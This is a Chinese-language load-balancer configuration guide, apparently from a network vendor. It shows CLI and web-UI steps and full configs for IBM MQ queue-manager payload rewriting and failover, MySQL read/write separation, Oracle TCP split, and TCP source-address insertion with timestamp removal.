· 请求响应模式:请求响应模式使用端口号5001、5002和5003,客户请求报文携带QMGR.S01,对于请求的消息要1:1的分发在两台前置机上,经过设备后需要在队列管理器名称后添加_1或_2,然后进行负载均衡,服务器端返回响应报文的队列管理器名称QMGR.S01_1或QMGR.S01_2,经过设备后替换成QMGR.S01。当前置机1中某个队列管理故障时,则只有该队列管理器的请求分发给前置机2对应的管理器处理,其他队列管理器的业务不做切换。例如QMGR.S01_1队列管理器出现问题后,会将携带QMGR.S01的请求全部发送至QMGR.S01_2的队列管理器,QMGR.S02_1队列管理器仍然由前置机1处理。同时QMGR.S01_1队列管理器故障恢复后,则自动恢复负载均衡的功能。
· 推送模式:推送模式使用端口号4001、4002和4003,客户端请求报文携带QMGR.P01,在前置机正常工作的情况下,所有的推送都固化在一台前置机1上。负载均衡需要将收到的报文进行解析,在队列管理器名称后添加_1,服务器端返回响应报文携带队列管理器名称QMGR.P01_1,经过设备后替换成QMGR.P01。当前置机1中某个队列管理器故障时,则所有推送模式下的请求都分发给前置机2,并且当故障队列管理器恢复后也不进行切回。
· 对于请求中不携带队列管理器名称的请求则根据访问控制列表acl设置匹配端口号。
图6-222 负载均衡组网图
为实现项目需求,需要在LB设备上完成如下配置:
· 分别配置请求响应模式和推送模式下的实服务组,添加实服务器,并配置实服务器的变量
· 分别配置请求响应模式和推送模式下的负载均衡流量特征,匹配请求中所携带的队列管理器名称。对于请求中不携带队列管理器名称的,配置ACL端口过滤策略。
· 推送模式下,当前置机1的某个队列管理故障,所有业务需要整体切换,只需配置一个实服务组,并配置所引用的实服务器端口号为0,配置一条acl规则,匹配目的端口号4001、4002和4003;请求响应模式下,当前置机1的某个队列管理器故障时,只切换该队列管理器,其他业务不做切换,需要分别配置三个实服务组,分别配置每个实服务组所引用的实服务器端口号为5001、5002和5002,配置三条acl规则,分别匹配目的端口号5001、5002和5003.
· 配置负载均衡动作,请求方向,对于匹配队列管理器或者acl规则的请求中的队列管理器名称,在队列管理器名称后添加相应的实服务器的变量值。响应方向,替换成真实请求方向所携带的队列管理器名称。
· 推送模式下需要配置一台服务器的优先级高于另一台服务器的优先级,并配置目的地址持续性。配置目的地址持续性的目的是当一台前置机A故障业务切换值前置机B,当前置机A又恢复时,业务不回切。
· 配置SNAT地址池,实服务器到SNAT地址池路由可达。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 本项目使用TCP类型四层虚服务切换到七层模式,同时虚服务下要配置端口号,当前版本最多支持200个端口,32个端口段。若TCP类型的虚服务配置的端口号大于200个,通常情况下只能够监听配置的前200个端口号。
· 推送模式下要使用基于目的地址的持续性同时需要开启持续性不老化
· 对于请求不携带队列管理器名字时,服务器应答也需要进行改写,该种情况需求用acl进行端口过滤
· 注意实服务器回LB设备上路由可达,可将SNAT地址池中的地址跟出接口地址一个网段,地址池中开启响应arp功能;如果不是一个网段,需要在实服务器上配置回SNAT地址池的路由。本举例中SNAT地址池地址跟出接口地址一个网段,实服务器上不用再配置到SNAT路由了。(如果使用分布式设备,SNAT的地址池数目要大于板卡数目)
· 本文中负载均衡类匹配规则采用了正则表达式QMGR.P0(\\d{1,3}),其中\d表示匹配任意一个数字,{1,3}表示匹配1次到3次。(\\d{1,3})表示匹配任意一个数字1到3次,所以该正则表达式的范围为QMGR.P00-- QMGR.P0999,如对正则表达式有疑问,请上网搜索更多相关资料。
· 动作中保证内容改写长度前后一致,对于动作中改写内容要知道改写后的长度,从而配置被改写的内容确认添加几个空格;例如” QMGR.P01 ”(添加2个空格)改写后是QMGR.P01_1 保证改写前后长度一致,双引号需要使用英文输入法。
以下配置均在LB设备上进行。
配置tcp类型NQA模板4001、4002和4003,配置其探测的目的端口号,分别用于探测推送模式端口4001、4002和4003
[sysname] nqa template tcp 4001
[sysname-nqatplt-tcp-4001] destination port 4001
[sysname-nqatplt-tcp-4001] reaction trigger probe-pass 1
[sysname] nqa template tcp 4002
[sysname-nqatplt-tcp-4002] destination port 4002
[sysname-nqatplt-tcp-4002] reaction trigger probe-pass 1
[sysname] nqa template tcp 4003
[sysname-nqatplt-tcp-4003] stination port 4003
[sysname-nqatplt-tcp-4003] reaction trigger probe-pass 1
配置tcp类型NQA模板5001、5002和5003,配置其探测的目的端口号,分别用于探测请求响应端口5001、5002和5003
[sysname] nqa template tcp 5001
[sysname-nqatplt-tcp-5001] destination port 5001
[sysname-nqatplt-tcp-5001] reaction trigger probe-pass 1
[sysname] nqa template tcp 5002
[sysname-nqatplt-tcp-5002] destination port 5002
[sysname-nqatplt-tcp-5002] reaction trigger probe-pass 1
[sysname] nqa template tcp 5003
[sysname-nqatplt-tcp-5003] destination port 5003
[sysname-nqatplt-tcp-5003] reaction trigger probe-pass 1
创建snat地址池pool,配置起始地址和结束地址,并配置arp-nd接口Reth2.
[sysname] loadbalance snat-pool pool
[sysname-lbsnat-pool-pool] ip range start 192.168.1.253 end 192.168.1.254
[sysname-lbsnat-pool-pool] arp-nd interface Reth2
创建目的持续性,用于推送模式下,当前置机A故障切换B后,前置机A又恢复,不再回切;配置持续性永不老化
[sysname] sticky-group dip type address-port
[sysname-sticky-address-port-dip] ip destination
[sysname-sticky-address-port-dip] timeout indefinite
[sysname] real-server rs1
[sysname-rserver-rs1] ip address 192.168.1.1
[sysname] real-server rs2
[sysname-rserver-rs2] ip address 192.168.1.2
分别创建请求响应模式的实服务组rq5001、rq5002、rq5003,引用snat地址池pool,开启实服务故障处理方式为重定向,添加实服务器,分别配置实服务器的端口号和变量值。
[sysname] server-farm rq5001
[sysname-sfarm-rq5001] fail-action reschedule
[sysname-sfarm-rq5001] snat-pool pool
[sysname-sfarm-rq5001] real-server rs1 port 5001
[sysname-sfarm-rq5001-#member#-rs1-port-5001] probe 5001
[sysname-sfarm-rq5001-#member#-rs1-port-5001] variable var1 value _1
#配置实服务器rs1的变量名称为var1,取值为_1。
[sysname-sfarm-rq5001-#member#-rs1-port-5001] real-server rs2 port 5001
[sysname-sfarm-rq5001-#member#-rs2-port-5001] probe 5001
[sysname-sfarm-rq5001-#member#-rs2-port-5001] variable var1 value _2
#配置实服务器rs1的变量名称为var1,取值为_2
[sysname] server-farm rq5002
[sysname-sfarm-rq5002] fail-action reschedule
[sysname-sfarm-rq5002] snat-pool pool
[sysname-sfarm-rq5002] real-server rs1 port 5002
[sysname-sfarm-rq5002-#member#-rs1-port-5002] probe 5002
[sysname-sfarm-rq5002-#member#-rs1-port-5002] variable var1 value _1
[sysname-sfarm-rq5002-#member#-rs1-port-5002] real-server rs2 port 5002
[sysname-sfarm-rq5002-#member#-rs2-port-5002] probe 5002
[sysname-sfarm-rq5002-#member#-rs2-port-5002] variable var1 value _2
[sysname] server-farm rq5003
[sysname-sfarm-rq5003] fail-action reschedule
[sysname-sfarm-rq5003] snat-pool pool
[sysname-sfarm-rq5003] real-server rs1 port 5003
[sysname-sfarm-rq5003-#member#-rs1-port-5003] probe 5003
[sysname-sfarm-rq5003-#member#-rs1-port-5003] variable var1 value _1
[sysname-sfarm-rq5003-#member#-rs1-port-5003] real-server rs2 port 5003
[sysname-sfarm-rq5003-#member#-rs2-port-5003] probe 5003
[sysname-sfarm-rq5003-#member#-rs2-port-5003] variable var1 value _2
创建推送模式的实服务组push,引用snat地址池pool,开启实服务故障处理方式为重定向,分别配置实服务器的变量值。并配置实服务器rs1的优先级较高,值为8.
[sysname] server-farm push
[sysname-sfarm-push] fail-action reschedule
[sysname-sfarm-push] snat-pool pool
[sysname-sfarm-push] real-server rs1 port 0
[sysname-sfarm-push-#member#-rs1-port-0] priority 8
[sysname-sfarm-push-#member#-rs1-port-0] probe 4001
[sysname-sfarm-push-#member#-rs1-port-0] probe 4002
[sysname-sfarm-push-#member#-rs1-port-0] probe 4003
[sysname-sfarm-push-#member#-rs1-port-0] variable var1 value _1
#配置实服务器rs1的变量名称为var1,取值为_1。
[sysname-sfarm-push-#member#-rs1-port-0] real-server rs2 port 0
[sysname-sfarm-push-#member#-rs2-port-0] probe 4001
[sysname-sfarm-push-#member#-rs2-port-0] probe 4002
[sysname-sfarm-push-#member#-rs2-port-0] probe 4003
[sysname-sfarm-push-#member#-rs2-port-0] variable var1 value _2
#配置实服务器rs1的变量名称为var1,取值为_2。
配置匹配ACL用于有些类似C#的业务,请求的报文里面不带有payload的,匹配端口
创建推送模式下匹配端口的acl规则port400X,匹配端口号4001、4002和4003
[sysname] acl advanced name port400X
[sysname-acl-ipv4-adv-port400X] rule 1 permit tcp destination-port eq 4001
[sysname-acl-ipv4-adv-port400X] rule 2 permit tcp destination-port eq 4002
[sysname-acl-ipv4-adv-port400X] rule 3 permit tcp destination-port eq 4003
创建请求响应模式下匹配端口的acl规则rq5001、rq5002、rq5003 ,分别匹配端口号5001、5002和5003
[sysname] acl advanced name rq5001
[sysname-acl-ipv4-adv-rq5001] rule 0 permit tcp destination-port eq 5001
[sysname] acl advanced name rq5002
[sysname-acl-ipv4-adv-rq5002] rule 0 permit tcp destination-port eq 5002
[sysname] acl advanced name rq5003
[sysname-acl-ipv4-adv-rq5003] rule 0 permit tcp destination-port eq 5003
配置请求响应模式下的负载均衡类 rq5001、rq5002、rq5003,分别匹配acl规则rq5001、rq5002、rq5003
[sysname] loadbalance class rq5001 type generic
[sysname-lbc-generic-rq5001] match 1 acl name rq5001
[sysname] loadbalance class rq5002 type generic
[sysname-lbc-generic-rq5002] match 1 acl name rq5002
[sysname] loadbalance class rq5003 type generic
[sysname-lbc-generic-rq5003] match 1 acl name rq5003
配置推送模式下的负载均衡类,类push匹配TCP载荷中带有QMGR.P0X的内容,类push#匹配端口号为4001-4003的acl规则。
[sysname] loadbalance class push type generic
[sysname-lbc-generic-push] match 1 payload QMGR.P0(\\d{1,3})
[sysname] loadbalance class push# type generic
[sysname-lbc-generic-push#] match 1 acl name port400X
配置请求响应模式下的负载均衡动作,对请求响应模式下报文中携带的TCP载荷,配置request方向在TCP载荷后加上_1或_2,配置response方向的TCP载荷去掉_1或_2(加上_1或_2取决于选中哪一台实服务器,实服务器选定了,var1的值也就确定了)。加双引号的目的是为了凑齐空格,和前面改写之前位数保持一致。
[sysname] loadbalance action rq5001 type generic
[sysname-lba-generic-rq5001] server-farm rq5001
[sysname-lba-generic-rq5001]payload rewrite request value "QMGR.S01 " replace QMGR.S01%[var1]
[sysname-lba-generic-rq5001] payload rewrite response value QMGR.S01_1 replace "QMGR.S01 "
[sysname-lba-generic-rq5001] payload rewrite response value QMGR.S01_2 replace "QMGR.S01 "
[sysname] loadbalance action rq5002 type generic
[sysname-lba-generic-rq5002] server-farm rq5002
[sysname-lba-generic-rq5002] payload rewrite request value "QMGR.S02 " replace QMGR.S02%[var1]
[sysname-lba-generic-rq5002] payload rewrite response value QMGR.S02_1 replace "QMGR.S02 "
[sysname-lba-generic-rq5002] payload rewrite response value QMGR.S02_2 replace "QMGR.S02 "
[sysname] loadbalance action rq5003 type generic
[sysname-lba-generic-rq5003] server-farm rq5003
[sysname-lba-generic-rq5003] payload rewrite request value "QMGR.S03 " replace QMGR.S03%[var1]
[sysname-lba-generic-rq5003] payload rewrite response value QMGR.S03_1 replace "QMGR.S03 "
[sysname-lba-generic-rq5003] payload rewrite response value QMGR.S03_2 replace "QMGR.S03 "
配置推送模式下的负载均衡动作,对推送模式下报文中携带的TCP载荷,配置request方向在TCP载荷后加上_1或_2,配置response方向的TCP载荷去掉_1或_2。
[sysname] loadbalance action push type generic
[sysname-lba-generic-push] server-farm push sticky dip
[sysname-lba-generic-push] payload rewrite request value “QMGR.P01 ” replace QMGR.P01%[var1]
[sysname-lba-generic-push] payload rewrite request value “QMGR.P02 “ replace QMGR.P02%[var1]
[sysname-lba-generic-push] payload rewrite request value “QMGR.P03 “ replace QMGR.P03%[var1]
[sysname-lba-generic-push] payload rewrite response value QMGR.P01_1 replace “QMGR.P01 ”
[sysname-lba-generic-push] payload rewrite response value QMGR.P01_2 replace “QMGR.P01 “
[sysname-lba-generic-push] payload rewrite response value QMGR.P02_1 replace “QMGR.P02 “
[sysname-lba-generic-push] payload rewrite response value QMGR.P02_2 replace “QMGR.P02 “
[sysname-lba-generic-push] payload rewrite response value QMGR.P03_1 replace “QMGR.P03 “
[sysname-lba-generic-push] payload rewrite response value QMGR.P03_2 replace “QMGR.P03 “
配置负载均衡策略,推送模式下:匹配流量特征push和push#的动作均为push,对于匹配流量特征push#的请求,考虑到有如下情况:一个TCP流中有多个MQ报文,第一条MQ报文中不带TCP载荷,后续的MQ报文中带有TCP载荷,这种情况下,第一条MQ报文会匹配acl规则的流量特征push#,并且第一条MQ报文匹配上流量特征之后,后续携带TCP载荷的MQ报文不会再匹配class了,所有需要对匹配push#的报文也做request方向的TCP载荷改写。请求响应模式下:分别配置匹配acl规则rq5001的报文走动作rq5001,匹配acl规则rq5002的报文走动作rq5002,匹配acl规则rq5003的报文走动作rq5003,以保证当某一个队列管理器出现故障时,其他队列管理器业务不做切换。
[sysname] loadbalance policy mq type generic
[sysname-lbp-generic-mq] class push action push
[sysname-lbp-generic-mq] class push# action push
[sysname-lbp-generic-mq] class rq5001 action rq5001
[sysname-lbp-generic-mq] class rq5002 action rq5002
[sysname-lbp-generic-mq] class rq5003 action rq5003
创建TCP类型的虚服务器,负载分担模式为七层模式,引用负载均衡策略policy,开启route-advertisement,并配置arp-nd接口Reth1。
[sysname] virtual-server tcp type tcp
[sysname-vs-tcp-tcp] port 4001 to 4003 5001 to 5003
[sysname-vs-tcp-tcp] virtual ip address 2.10.0.100
[sysname-vs-tcp-tcp] lb-policy policy
[sysname-vs-tcp-tcp] service enable
[sysname-vs-tcp-tcp] route-advertisement enable
[sysname-vs-tcp-tcp] connection-sync enable
[sysname-vs-tcp-tcp] sticky-sync enable
[sysname-vs-tcp-tcp] application-mode enable
[sysname-vs-tcp-tcp] arp-nd interface Reth1
查看实服务器流量分担情况,只有rs1有流量分担。
当前置机1故障时,所有请求切换到前置机2上,查看当rs1健康检测失败,rs2健康检测成功时,所有的流量切换到rs2上。
前置机1故障恢复,流量不回切,查看rs1健康检测成功,流量仍然有rs2分担,不会回切到rs1上。
在客户端和服务器端分别捕获报文,查看请求和响应方向的TCP载荷改写成功。
Client端查看抓包信息如下:Request方向请求报文TCP载荷QMGR.P01 ,(P01后有两位空格)
server端查看抓包信息如下:Request方向请求报文TCP载荷QMGR.P01_1,请求方向TCP载荷改写成功。
Server端查看抓包信息如下: Response方向回应报文,TCP载荷为QMGR.P01_1
client端查看抓包信息如下: Response方向回应报文,TCP载荷为QMGR.P01 (P01后有两位空格),响应方向TCP载荷改写成功。
在客户端和服务器端捕获报文,查看请求和响应方向的TCP载荷改写成功。
Client端查看抓包信息如下: Request方向请求报文,携带的TCP载荷QMGR.S01 (S01后有两位空格)
Server端查看抓包信息如下: request方向请求报文,TCP载荷为QMGR.S01_2,请求方向TCP载荷改写成功。
Server端查看抓包信息: Response方向回应报文,报文所携带的TCP载荷为QMGR.S01_2
client端查看抓包信息如下: Response方向回应报文,TCP载荷为QMGR.S01 (S01后有两位空格)。Response方向TCP载荷改写成功。
[L1000E]dis sticky virtual-server tcp
Slot 1:
Virtual server name: tcp
Sticky zone type: Class
Class name: push
Sticky group name: dip
Sticky method: Destination IP
Timeout: Indefinite
Sticky entry Real server Expiration time Count
--------------------------------------------------------------------------------
2.10.0.100 2.11.0.1/5003 0
Slot 2:
Virtual server name: tcp
Sticky zone type: Class
Class name:push
Sticky group name: dip
Sticky method: Destination IP
Timeout: Indefinite
Sticky entry Real server Expiration time Count
--------------------------------------------------------------------------------
2.10.0.100 2.11.0.1/5003 117
#
interface Reth1
ip address 2.10.0.1 255.255.0.0
member interface Ten-GigabitEthernet1/0/24 priority 100
member interface Ten-GigabitEthernet2/0/24 priority 255
#
interface Reth2
ip address 192.168.0.1 255.255.0.0
member interface Ten-GigabitEthernet1/0/25 priority 100
member interface Ten-GigabitEthernet2/0/25 priority 255
#
redundancy group 1
member interface Reth1
member interface Reth2
node 1
bind slot 2
priority 255
track 11 interface Ten-GigabitEthernet2/0/24
track 12 interface Ten-GigabitEthernet2/0/25
node 2
bind slot 1
priority 100
track 1 interface Ten-GigabitEthernet1/0/24
track 2 interface Ten-GigabitEthernet1/0/25
#
nqa template tcp 4001
destination port 4001
reaction trigger probe-pass 1
#
nqa template tcp 4002
destination port 4002
reaction trigger probe-pass 1
#
nqa template tcp 4003
destination port 4003
reaction trigger probe-pass 1
#
nqa template tcp 5001
destination port 5001
reaction trigger probe-pass 1
#
nqa template tcp 5002
destination port 5002
reaction trigger probe-pass 1
#
nqa template tcp 5003
destination port 5003
reaction trigger probe-pass 1
#
loadbalance snat-pool pool
ip range start 192.168.1.254 end 192.168.1.254
arp-nd interface Reth2
#
sticky-group dip type address-port
ip destination
timeout indefinite
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
server-farm rq5001
fail-action reschedule
snat-pool pool
real-server rs1 port 5001
probe 5001
variable var1 value _1
real-server rs2 port 5001
probe 5001
variable var1 value _2
#
server-farm rq5002
fail-action reschedule
snat-pool pool
real-server rs1 port 5002
probe 5002
variable var1 value _1
real-server rs2 port 5002
probe 5002
variable var1 value _2
#
server-farm rq5003
fail-action reschedule
snat-pool pool
real-server rs1 port 5003
probe 5003
variable var1 value _1
real-server rs2 port 5003
probe 5003
variable var1 value _2
#
server-farm push
fail-action reschedule
snat-pool pool
real-server rs1 port 0
priority 8
probe 4001
probe 4002
probe 4003
variable var1 value _1
real-server rs2 port 0
probe 4001
probe 4002
probe 4003
variable var1 value _2
#
acl advanced name port400X
rule 1 permit tcp destination-port eq 4001
rule 2 permit tcp destination-port eq 4002
rule 3 permit tcp destination-port eq 4003
#
acl advanced name rq5001
rule 0 permit tcp destination-port eq 5001
#
acl advanced name rq5002
rule 0 permit tcp destination-port eq 5002
#
acl advanced name rq5003
rule 0 permit tcp destination-port eq 5003
#
loadbalance class rq5001 type generic
match 1 acl name rq5001
#
loadbalance class rq5002 type generic
match 1 acl name rq5002
#
loadbalance class rq5003 type generic
match 1 acl name rq5003
#
loadbalance class push type generic
match 1 payload QMGR.P0(\\d{1,3})
#
loadbalance class push# type generic
match 1 acl name port400X
#
loadbalance action rq5001 type generic
server-farm rq5001
payload rewrite request value "QMGR.S01 " replace QMGR.S01%[var1]
payload rewrite response value QMGR.S01_1 replace "QMGR.S01 "
payload rewrite response value QMGR.S01_2 replace "QMGR.S01 "
#
loadbalance action rq5002 type generic
server-farm rq5002
payload rewrite request value "QMGR.S02 " replace QMGR.S02%[var1]
payload rewrite response value QMGR.S02_1 replace "QMGR.S02 "
payload rewrite response value QMGR.S02_2 replace "QMGR.S02 "
#
loadbalance action rq5003 type generic
server-farm rq5003
payload rewrite request value "QMGR.S03 " replace QMGR.S03%[var1]
payload rewrite response value QMGR.S03_1 replace "QMGR.S03 "
payload rewrite response value QMGR.S03_2 replace "QMGR.S03 "
#
loadbalance action push type generic
server-farm push sticky dip
payload rewrite request value “QMGR.P01 ” replace QMGR.P01%[var1]
payload rewrite request value “QMGR.P02 “ replace QMGR.P02%[var1]
payload rewrite request value “QMGR.P03 “ replace QMGR.P03%[var1]
payload rewrite response value QMGR.P01_1 replace “QMGR.P01 ”
payload rewrite response value QMGR.P01_2 replace “QMGR.P01 “
payload rewrite response value QMGR.P02_1 replace “QMGR.P02 “
payload rewrite response value QMGR.P02_2 replace “QMGR.P02 “
payload rewrite response value QMGR.P03_1 replace “QMGR.P03 “
payload rewrite response value QMGR.P03_2 replace “QMGR.P03 “
#
loadbalance policy policy type generic
class push action push
class push# action push
class rq5001 action rq5001
class rq5002 action rq5002
class rq5003 action rq5003
#
virtual-server tcp type tcp
port 4001 to 4003 5001 to 5003
virtual ip address 2.10.0.100
lb-policy policy
service enable
route-advertisement enable
connection-sync enable
sticky-sync enable
application-mode enable
arp-nd interface Reth1
随着计算机普及和互联网的快速发展,越来越多的人开始使用网络。以往只靠单台MySQL数据库服务器就能满足用户的服务需求,随着用户访问人数增多,同时读写导致性能渐渐开始下降,对于用户的直观感受就是响应慢,对于开发人员来说是长时间处于等待MySQL数据库的响应中,极大了影响用户体验。解决这个问题的一种简单实用方案是使用数据库负载均衡,将用户的请求分担到不同机器上执行,减轻单台数据库压力,从而提高响应能力。同时,要求把读数据库的操作发到读服务器上,把写数据库的操作发到写服务器上。如图所示,HOST经过负载均衡设备访问Mysql服务器,服务器Server A、Server B提供读请求的服务,Server C提供写请求的服务,在读写请求切换服务器时不断开连接,后续的请求可以复用之前读写的连接,以减小服务器的压力。
图6-223 MySQL负载均衡组网图
为实现MySQL负载均衡的功能,需要在LB设备上完成如下配置:
· 分别配置读实服务组、写实服务组、读实服务器,写实服务器,把读实服务器添加到读实服务组,把写实服务器添加到写实服务组。
· 配置MySQL类型的虚服务,开启读写分离功能,分别引用读实服务组和写实服务组,数据库的用户名密码配置需和真实MySQL服务器保持一致,数据库的版本号小于等于真实服务器的版本号,建议保持一致。
· 配置MySQL类型的参数模板,开启连接复用功能,引用到MySQL虚服务下。
· Snat
· 用户发起对MySQL数据库的请求命中虚服务后,读写的请求分别被调度到读写实服务组的实服务器上。MySQL的参数模板应用到虚服务下,保证在读写请求切换读写实服务组时,和服务器的连接不断开。
本举例是在L1090的Ess 1101P13版本上进行配置和验证的。
· 在MySQL类型的虚服务下,数据库的用户名密码需和真实MySQL服务器保持一致,数据库的版本号小于等于真实服务器的版本号,建议保持一致。
· 需要在MySQL的虚服务下引用开启连接复用功能的MySQL参数模板。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-224 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>全局配置>源地址池”,进入源地址池页面。
单击<新建>,添加源地址池名称为snat_1.1.1.11,起始IP地址是1.1.1.11,结束IP地址是1.1.1.11。
发送免费ARP或ND报文的接口选择RAGG1.20,如下图所示。
图6-225 创建源地址池
单击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,分别添加读实服务组sf_read,写实服务组sf_write,调度算法为加权轮转算法,健康性检测选择t1,如下图所示。
图6-226 添加读写实服务组
读实服务组:
写实服务组:
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
在成员列表一栏选择添加,实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图6-227 添加实服务器信息
单击<确定>按钮,完成操作。
创建rs2、rs3与创建rs1步骤相同。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择MySQL,地址为61.159.4.100/32,端口号为3306,开启读写分离功能,指定读实服务组为sf_read,写实服务组为sf_write,配置用户名和密码以及MySQL的版本号(本例服务端的用户名和密码为root/123456,版本号为5.1),并开启虚服务功能,如下图所示。
图6-228 新建虚服务器
单击<确定>,完成操作。
点击编辑虚服务,然后新建MySQL类型的参数模板,打开连接复用功能,点击确定后,虚服务引用此模板。
在导航栏中选择“策略>应用负载均衡>实服务组”,点击<编辑>进入实服务组页面,查看成员列表一栏
图6-229 实服务组成员列表
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面
图6-230 实服务组列表
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面
图6-231 虚服务列表
在导航栏中选择“监控>应用负载均衡>虚服务器统计”,进入虚服务统计页面
图6-232 虚服务器统计页面
在导航栏中选择“监控>应用负载均衡>实服务器统计”,进入实服务统计页面
图6-233 实服务器统计页面
图6-234 客户端抓包报文分析
可以看到读写的请求各建了一个连接。
图6-235 实服务器抓包报文分析
可以看到读请求选择了一个读实服务器,写请求选择了一个写实服务器。在读写请求切换实服务的时候没有断开已有连接。
在有流量的情况下,在导航栏中选择“监控>负载均衡会话信息”,可以看到流量的会话记录,如下图所示。
图6-236 负载均衡会话信息
#
nqa template icmp t1
#
real-server rs1
ip address 192.168.1.1
success-criteria at-least 1
#
real-server rs2
ip address 192.168.1.2
success-criteria at-least 1
#
real-server rs3
ip address 192.168.1.3
success-criteria at-least 1
#
server-farm sf_read
snat-pool snat_1.1.1.11
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
#
server-farm sf_write
snat-pool snat_1.1.1.11
probe t1
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
loadbalance snat-pool snat_1.1.1.11
ip range start 1.1.1.11 end 1.1.1.11
#
virtual-server vs type mysql
virtual ip address 61.159.4.100
parameter mysql mysql
sticky-sync enable
version 5.1
username root password cipher U1FMAEonABCOQGelh2yW3A==
readwrite-separation read-server-farm sf_read write-server-farm sf_write
service enable
#
parameter-profile mysql type mysql
server-connection reuse
#
因实际业务需要,需要支持Oracle数据库服务器的负载均衡分担,如图所示,Host经过负载均衡设备访问Oracle数据库服务器。三台服务器Server A、Server B和Server C均可提供Oracle数据库的服务。通过配置应用负载均衡,让这三台服务器联合提供Oracle数据库的服务,并通过健康检测来监控这些服务器是否可达。
图6-237 TCP SPLIT组网图
为实现LB支持TCP SPLIT功能,需要在LB设备上完成如下配置:
· 配置实服务组、实服务器。
· TCP类型的虚服务器,并开启七层分担功能。
· 用户发起对Oracle数据库的请求命中虚服务后,通过实服务组的负载分担方法分担到实服务器。需要配置虚服务监听的端口号为Oracle服务的端口号。
本举例是在L1090的Ess 1101P13版本上进行配置和验证的。
· 需要配置虚服务的端口号为Oracle服务的端口号。
· 需要打开TCP类型虚服务的七层负担分担模式开关。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-238 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>全局配置>源地址池”,进入源地址池页面。
单击<新建>,添加源地址池名称为snat_1.1.1.11,起始IP地址是1.1.1.11,结束IP地址是1.1.1.11,如下图所示。
图6-239 创建源地址池
单击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1,如下图所示。
图6-240 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
在成员列表一栏选择添加,实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图6-241 添加实服务器信息
单击<确定>按钮,完成操作。
创建rs2、rs3与创建rs1步骤相同。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择TCP,地址为61.159.4.100/32,端口号为1521,选择七层负载分担模式,并开启虚服务功能,如下图所示。
图6-242 新建虚服务器
单击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,点击<编辑>进入实服务组页面,查看成员列表一栏
图6-243 实服务组成员列表
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面
图6-244 实服务组列表
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面
图6-245 虚服务列表
在导航栏中选择“监控>应用负载均衡>虚服务器统计”,进入虚服务统计页面
图6-246 虚服务器统计页面
在导航栏中选择“监控>应用负载均衡>实服务器统计”,进入实服务统计页面
图6-247 实服务器统计页面
图6-248 客户端抓包报文分析
图6-249 实服务器抓包报文分析
在有流量的情况下,在导航栏中选择“监控>会话列表”,进入会话列表页面可以看到流量的会话记录,如下图所示。
图6-250 设备会话列表
#
nqa template icmp t1
#
real-server rs1
ip address 192.168.1.1
success-criteria at-least 1
#
real-server rs2
ip address 192.168.1.2
success-criteria at-least 1
#
real-server rs3
ip address 192.168.1.3
success-criteria at-least 1
#
server-farm sf1
predictor hash address source
snat-pool snat_1.1.1.11
probe t1
#
server-farm sf1
predictor hash address source
snat-pool snat_1.1.1.11
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#loadbalance snat-pool snat_1.1.1.11
ip range start 1.1.1.11 end 1.1.1.11
#
virtual-server vs type tcp
port 1521
virtual ip address 61.159.4.100
default server-farm sf1
connection-sync enable
sticky-sync enable
application-mode enable
service enable
#
测试应用交付控制器在改变用户的源地址后,需要将用户的真实地址插入到TCP包中,以便后台服务器获取客户端源地址;此外由于客户端的时间戳选项不同,若经过源地址转换成同一个地址到后台服务器,有可能由于时间戳不同,后台服务器会丢弃比已接受报文时间戳早的报文,所以需要清除LB设备发送到服务器端TCP报文的时间戳选项。如图所示,HOST经过负载均衡设备访问web服务器,三台服务器Server A、Server B和Server C均可提供HTTP的服务。通过配置应用负载均衡,引用snat地址池,把报文的源地址转换成snat地址池中的地址发给服务端,同时在发往服务端的TCP报文中在TCP Option 28字段插入用户的真实源地址,并且清除LB设备发送到服务器端TCP报文中TCP Option 8字段时间戳选项。
图6-251 TCP源地址插入和TCP Option清除组网图
为实现TCP源地址插入和TCP Option清除功能,需要在LB设备上完成如下配置:
· 配置实服务组、实服务器。
· 配置snat地址池,并在实服务组下引用。
· 配置TCP的参数模板,插入TCP Option的28字段(源地址),以及删除TCP Option 的8字段(时间戳)。
· 配置TCP类型的虚服务器,开启七层负载分担功能,并在此虚服务下引用TCP参数模板。
· 用户发起的HTTP请求命中虚服务后,把报文的源地址转换成snat地址池中的地址发给服务端,同时在发往服务端的TCP报文中在TCP Option 28字段插入用户的真实源地址,并且清除LB设备发送到服务器端TCP报文中TCP Option 8字段时间戳选项。
本举例是在L1090的Ess 1101P13版本上进行配置和验证的。
